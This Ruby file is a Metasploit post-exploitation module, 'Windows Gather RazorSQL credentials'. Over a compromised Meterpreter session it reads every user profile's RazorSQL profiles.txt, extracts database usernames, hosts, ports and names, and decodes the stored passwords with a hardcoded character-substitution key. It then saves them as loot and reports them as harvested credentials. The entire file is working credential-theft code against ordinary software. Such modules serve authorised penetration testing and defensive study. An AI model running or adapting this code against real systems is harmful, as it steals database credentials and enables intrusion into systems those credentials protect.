## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather RazorSQL credentials', 'Description' => %q{ This module stores username, password, type, host, port, database (and name) collected from profiles.txt of RazorSQL. }, 'License' => MSF_LICENSE, 'Author' => [ 'Paul Rascagneres ', 'sinn3r' #Reporting, file parser ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run print_status("Checking All Users...") creds_tbl = Rex::Ui::Text::Table.new( 'Header' => 'RazorSQL User Credentials', 'Indent' => 1, 'Columns' => [ 'Username', 'Password', 'Type', 'Host', 'Port', 'Database Name', 'Database' ] ) grab_user_profiles().each do |user| next if user['ProfileDir'] == nil file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt" content = get_content(file) if content and not content.empty? creds = parse_content(creds_tbl, content, user['UserName']) creds.each do |c| creds_tbl << c end end end if not creds_tbl.rows.empty? path = store_loot( 'razor.user.creds', 'text/csv', session, creds_tbl.to_s, 'razor_user_creds.txt', 'RazorSQL User Credentials' ) print_line(creds_tbl.to_s) print_status("User credentials stored in: #{path}") else print_error("No data collected") end end def get_content(file) found = session.fs.file.stat(file) rescue nil return if not found content='' infile = session.fs.file.new(file, "rb") until infile.eof? content << infile.read end return content end def parse_content(table, content, username) creds = [] print_line("Account: #{username}\n") content = content.split(/\(\(Z~\]/) content.each do |db| database = (db.scan(/database=(.*)/).flatten[0] || '').strip user = (db.scan(/user=(.*)/).flatten[0] || '').strip type = (db.scan(/type=(.*)/).flatten[0] || '').strip host = (db.scan(/host=(.*)/).flatten[0] || '').strip port = (db.scan(/port=(.*)/).flatten[0] || '').strip dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip # Decrypt if there's a password pass = decrypt(pass) if not pass.empty? # Store data creds << [user, pass, type, host, port, dbname, database] # Reort auth info while dumping data report_auth_info( :host => host, :port => port, :sname => database, :user => user, :pass => pass, :type => 'password' ) end return creds end def decrypt( encrypted_password ) magic_key= { "/" => "a" , "<" => "b" , ">" => "c" , ":" => "d" , "X" => "e" , "c" => "f" , "W" => "g" , "d" => "h" , "V" => "i" , "e" => "j" , "f" => "k" , "g" => "l" , "U" => "m" , "T" => "n" , "S" => "o" , "n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" , "i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" , "o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" , "s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" , "N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , "y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , "A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , "F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , "5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , "2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , "%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , "=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , "_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," , "\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`" } password='' for letter in encrypted_password.chomp.each_char password << magic_key[letter] end return password end end =begin http://www.razorsql.com/download.html Tested on: v5.6.2 (win32) =end